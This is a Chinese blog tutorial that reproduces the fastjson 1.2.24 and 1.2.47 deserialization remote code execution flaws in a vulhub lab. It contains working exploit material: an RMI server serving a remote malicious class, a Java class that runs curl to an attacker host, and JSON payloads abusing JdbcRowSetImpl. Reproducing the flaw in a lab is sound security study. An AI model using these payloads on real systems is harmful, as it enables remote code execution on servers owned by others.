美文网首页渗透安全
fastjson反序列化漏洞复现

fastjson反序列化漏洞复现

作者: gelinlang | 来源:发表于2020-02-06 17:50 被阅读0次

    0x00前言

    fastjson是阿里的开源JSON解析库,被爆出两个远程命令执行漏洞,为2017年1.2.24版本和2019年1.2.47版本。

    0x01环境准备

    使用vulhub上的环境,在github上的vulhub下载下来,进入fastjson漏洞环境目录,执行以下命令。

    image.png
    然后访问http://ip:8090看见json返回数据,说明环境启动成功。
    还需要开启一个rmi server,用来加载远程恶意类。rmi代码如下
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    import javax.naming.NamingException;
    import javax.naming.Reference;
    import java.rmi.AlreadyBoundException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    public class server {
        public static void start() throws
                AlreadyBoundException, RemoteException, NamingException {
            Registry registry = LocateRegistry.createRegistry(9999);
            String remote_class_server = "http://ip:port/";//恶意类远程地址
            Reference reference = new Reference("Exploit", "Exploit", remote_class_server);//第一个参数为恶意类名,第二个为factory。
            //reference的factory class参数指向了一个外部Web服务的地址
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("Exploit", referenceWrapper);
    
            System.out.println("Listener on 9999");
        }
        public static void main(String[] args) throws AlreadyBoundException, RemoteException, NamingException{
            start();
        }
    }
    

    也可以用marshalsec项目开启rmi服务。将其下载后,用maven编译即可使用。
    开启命令,在9999端口监听。

    java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:port/#Test" 9999
    

    看见如下说明开始监听


    image.png

    恶意类如下,将其编译后放到Web服务下,确定能访问http://ip:port/Test.class

    import java.lang.Runtime;
    import java.lang.Process;
    
    public class Test {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"curl", "http://ip:2334/"};//这里写需要执行的命令
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }
    
    

    0x02攻击

    poc如下

    //1.2.24以下版本
    {
        "a":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://ip:9999/Test",
            "autoCommit":true
        }
    }
    //1.2.47以下版本
    {
       "a":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://ip:9999/Test",
            "autoCommit":true
        }
    }
    

    请求搭好的环境,将get改为post,并且将修改Content-Type: application/json


    image.png

    发送请求,可以看到rmi服务收到了响应,加载远程恶意累Test.class。


    image.png
    然后可以看到监听的2334端口接收到了请求,说明服务器成功执行curl ip:port命令。
    image.png

    相关文章

      网友评论

        本文标题:fastjson反序列化漏洞复现

        本文链接:https://www.haomeiwen.com/subject/eijuxhtx.html